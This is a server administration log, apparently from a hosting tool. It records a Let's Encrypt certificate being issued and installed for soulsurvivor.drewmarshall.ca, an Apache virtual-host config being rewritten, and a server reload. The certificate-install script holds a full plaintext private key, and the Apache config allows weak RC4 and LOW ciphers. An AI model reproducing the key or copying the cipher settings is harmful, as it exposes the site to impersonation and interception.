MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-05 13:48:51: Establishing a connection
2026-01-05 13:48:51: Establishing a connection
2026-01-05 13:48:51:
PUT: /tmp/pkp252165
#!/bin/bash
if [ -d "/var/www/drewmarshall_soulsurvivor/.well-known" ]; then
echo 1
else
echo 0
fi
2026-01-05 13:48:52:
chmod 755 /tmp/pkp252165; /tmp/pkp252165; rm /tmp/pkp252165
2026-01-05 13:48:52:
1
2026-01-05 13:48:53: Establishing a connection
2026-01-05 13:48:53:
PUT: /tmp/pkp498134
#!/bin/bash
mkdir -p "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
cat > GnAGJr8DGVeCRZ_QjSPHn-adtu3lGTU-enlO2vEfRa8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
GnAGJr8DGVeCRZ_QjSPHn-adtu3lGTU-enlO2vEfRa8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 GnAGJr8DGVeCRZ_QjSPHn-adtu3lGTU-enlO2vEfRa8
2026-01-05 13:48:53:
chmod 755 /tmp/pkp498134; /tmp/pkp498134; rm /tmp/pkp498134
2026-01-05 13:48:53:
2026-01-05 13:49:04: Establishing a connection
2026-01-05 13:49:04:
PUT: /tmp/pkp426163
#!/bin/bash
mkdir -p "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
rm GnAGJr8DGVeCRZ_QjSPHn-adtu3lGTU-enlO2vEfRa8
2026-01-05 13:49:04:
chmod 755 /tmp/pkp426163; /tmp/pkp426163; rm /tmp/pkp426163
2026-01-05 13:49:04:
2026-01-05 13:49:04: Establishing a connection
2026-01-05 13:49:05:
PUT: /tmp/pkp587683
#!/bin/bash
temp_file=$(mktemp)
TARGET=d7b28d3c1e1bd0c8221fd57011c5053a.crt
cat > $temp_file <<'endmsg'
d5:b2:3d:62:81:f6:b5:78:09:88:8a:9d:82:20:5c:30
-----BEGIN CERTIFICATE-----
MIIFHDCCBASgAwIBAgISBl4akI2wnGahjG/WEnz0ITEmMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTA1MTI1MDMyWhcNMjYwNDA1MTI1MDMxWjAnMSUwIwYDVQQD
Exxzb3Vsc3Vydml2b3IuZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAp//Cpl9c25ERfKZu80uGX5ozGk1m2PySeMGARiWBVGJN
QnAn1J0dAOPTRt842eQJ9FX/hCDguPpg3v5HOuFUuMkdJ80zI1nBZtaC7+6E1vv6
AuIIptPLgqAhUvnHDcH1t6CKBfl8PXcmEafWKldv8iNDhi6rhjz0AJEn6ARHOORD
lq5Tn/eeUFG5PBKhmGAzUy2kdfChhaG5h/lpZLmergoWYq3KaitxoIq0TB1kIZFy
JmpREPaYAmlBFVw2ks+yef+peBq1ZvpVp1YcBpcdfCYF+mDkhLDObVEw3i6ZW8g7
E5uxLEb1s/hzdJoaRsdvfsCsQhYRIygb/NTbCBG7nQIDAQABo4ICNDCCAjAwDgYD
VR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNV
HRMBAf8EAjAAMB0GA1UdDgQWBBSdAOlsY81z8ovlSVLVkMIvxKEMmTAfBgNVHSME
GDAWgBQAtSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYB
BQUHMAKGF2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMCcGA1UdEQQgMB6CHHNvdWxz
dXJ2aXZvci5kcmV3bWFyc2hhbGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYD
VR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8zOS5jcmwwggEM
BgorBgEEAdZ5AgQCBIH9BIH6APgAdgDRbqmlaAd+ZjWgPzel3bwDpTxBEhTUiBj1
6TGzI8uVBAAAAZuOaxy8AAAEAwBHMEUCIQDB0tOpTsU5FPamKTAgEO5kEDEMcpek
FUua/dc1EJl4xQIgIY89M/M5E+SWAdk3MU3Lo0eook1JJevCi4QBf1X1crgAfgDj
I43yjaKI4KrgrPD6kMmF8La/9dKlJ7AB/BxEWMS26AAAAZuOax6kAAgAAAUALlib
lAQDAEcwRQIhALI4DHDWcrBA6C07W3dyPO5lQhw7/xCXCkcG89hW3gOoAiBnB0uG
KXcmt5+Rrv0tYT8kDUmO73L9j5Oipi7zcSpTGjANBgkqhkiG9w0BAQsFAAOCAQEA
tkv+u4VDmy7E6e0iQzBP5GWiAKwaTGExA1xD/Pk+I1atz2RkyzoI62f3IkoFyDhr
/4kEmKnLIxghG4aDgJPADoU5MJ2fPVhJp3qPhmdDjiH2hvQAiHkQR0YWf08rAq6r
ij4h/mRH9Whi8nI+tYLaiEHfvh+APbqo8q32qHmbLDxk4lqr9/mHZAwTQL4BfLHg
Dy7K3ivccBRQIgoE5EicYlVjvNUOJoQ6sKSCo+8sNarapmp52Bi+j4YPCIIDg0z1
JLX1R3qHXiw8TkK67Y89fNTyaCwybOBIHywGSaL4O4HrzyRJ9wVOEBNaXmB3wr0K
BJxGGMrjJzbcTYrlp0h/wg==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCn/8KmX1zbkRF8
pm7zS4ZfmjMaTWbY/JJ4wYBGJYFUYk1CcCfUnR0A49NG3zjZ5An0Vf+EIOC4+mDe
/kc64VS4yR0nzTMjWcFm1oLv7oTW+/oC4gim08uCoCFS+ccNwfW3oIoF+Xw9dyYR
p9YqV2/yI0OGLquGPPQAkSfoBEc45EOWrlOf955QUbk8EqGYYDNTLaR18KGFobmH
+WlkuZ6uChZircpqK3GgirRMHWQhkXImalEQ9pgCaUEVXDaSz7J5/6l4GrVm+lWn
VhwGlx18JgX6YOSEsM5tUTDeLplbyDsTm7EsRvWz+HN0mhpGx29+wKxCFhEjKBv8
1NsIEbudAgMBAAECggEAAcuxjG6zguNLkQ4EXJRflNEEn9DY+xPECwdidB19guXk
FoQ1YMfnIfXNcdH7/RQ7aQGsUAC79i4y798+6qmy6qC3r4+5brTMZOmBD8h4YgXi
d7prxkC4SaalhIoH7yU2F6bfIs42Xj/SR9kH6H7zwt5On/YKvk4Te5gRmaDGFB0U
BawSoGdah5oVG1TNOxto+GWwDsFYtTK8102pGCwr9jkRFMvoNLQU/HGSzE37/2Y/
F/4M8oITwdNjNa2vF/1+AcicOOONOFSW2kAxGpG4w/MAjnTAHj42Z8+W5ZATS2T3
SZwJmha8EIPwE4dRV3+FhPg3kdnR7auZWv2mgwEn7wKBgQDrnfBkNurvr+n59FYu
9ceZ//S1M+VVIwNKu67WQAe/l7MrxlYkP3z5ZJFKIdQENX21pdz4vNkRf1PqeS+u
mEbgQDytAkuj/iMbUBk//dbIvpEK32RJ4Obuf5H1kem573pwltZ9iegKQc2Bco2O
4ZEmw8z6sFEjJbY304Hmu3U83wKBgQC2iFSTUyEr/kkn1NWkL/mZNnoAdIL/cOQ4
VJrUQUketvIfd/vrYTYqkOufM1HaNXGpC7yxekvXUAy8uukwNMr4IcgZsl+/aIuD
H9r4oHpoOtWp/XSg2tnmf5CPerEZW8NmgiIh3RX0rHTqh0uh8CJcSQbdlOp4IodC
x+25CgmbAwKBgF0IRsP7Hza22gb04Ba4uzBmbSQjMpk0MveONdGpBKY06u0M6jRz
0Q/UEr4Xr1ReHp3buO2J+5e6E9NQOHCS9eFT2+FgN6ewEAKX1PB8dRNck36ciEfX
greHLYWuMIBXO5w7IsP88N8j7lX/ej+Bd0O8KjKN7euX12QhongNapQ3AoGAP7a+
rt4pig2sw3aLTFBis5RMabRBtaBWSUNe+BAB0fLR+SIMkVDRc3I6jMuBGsXk8rji
GKEzr+iFSauEkgsbfhlsm2uj+FApwo9wA7EgiRlgU4HhH/TEcqy8bRjKkKtzPWjX
OTLO4yT/eo3XXKNRmxzyhI3ieiSzSiA3XoueZrkCgYEA3O2OZ9H1afPjyYyVIMSa
W8Fcsf6bJq9Uf4FN+NpCm+DMvVJBYsYDElX4Y+uNuqLh8VPABoDgad/hNkUO3gNb
CcEgT8GlDfJORAF75UZ/hTjOmSpyiHyzURnxFPUcDKqHD4+3cW3nAie63HS1sIWa
8xoTB21nSOpOdeKAyHkRfeA=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2026-01-05 13:49:05:
chmod 755 /tmp/pkp587683; /tmp/pkp587683; rm /tmp/pkp587683
2026-01-05 13:49:05:
dir=/etc/ssl/certs
2026-01-05 13:49:05:
PUT: /tmp/pkp829147
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf"
gzip -cn9 $temp_file
rm $temp_file
2026-01-05 13:49:05:
chmod 755 /tmp/pkp829147; /tmp/pkp829147; rm /tmp/pkp829147
2026-01-05 13:49:05:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf 52
<VirtualHost *:80>
ServerName soulsurvivor.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_soulsurvivor
<Directory /var/www/drewmarshall_soulsurvivor>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/soulsurvivor_access.log combined
ErrorLog /var/log/apache2/drewmarshall/soulsurvivor_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName soulsurvivor.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt
DocumentRoot /var/www/drewmarshall_soulsurvivor
<Directory /var/www/drewmarshall_soulsurvivor>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/soulsurvivor_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/soulsurvivor_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2026-01-05 13:49:05:
PUT: /tmp/pkp685895
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_soulsurvivor_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName soulsurvivor.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_soulsurvivor
<Directory /var/www/drewmarshall_soulsurvivor>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/soulsurvivor_access.log combined
ErrorLog /var/log/apache2/drewmarshall/soulsurvivor_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName soulsurvivor.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt
DocumentRoot /var/www/drewmarshall_soulsurvivor
<Directory /var/www/drewmarshall_soulsurvivor>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/soulsurvivor_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/soulsurvivor_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf= 1'
fi
2026-01-05 13:49:05:
chmod 755 /tmp/pkp685895; /tmp/pkp685895; rm /tmp/pkp685895
2026-01-05 13:49:05:
2026-01-05 13:49:05:
PUT: /tmp/pkp590226
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2026-01-05 13:49:05:
chmod 755 /tmp/pkp590226; /tmp/pkp590226; rm /tmp/pkp590226
2026-01-05 13:49:05:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2026-01-05 13:49:05: Establishing a connection
2026-01-05 13:49:05:
PUT: /tmp/pkp945181
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-05 13:49:05:
chmod 755 /tmp/pkp945181; /tmp/pkp945181; rm /tmp/pkp945181
2026-01-05 13:49:05:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
alias www.bucketgigs.ca
port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
alias www.dgmarshall.ca
port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
alias www.dgmarshall.com
port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
alias www.drewmarshall.ca
port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
alias www.hillrunfarm.ca
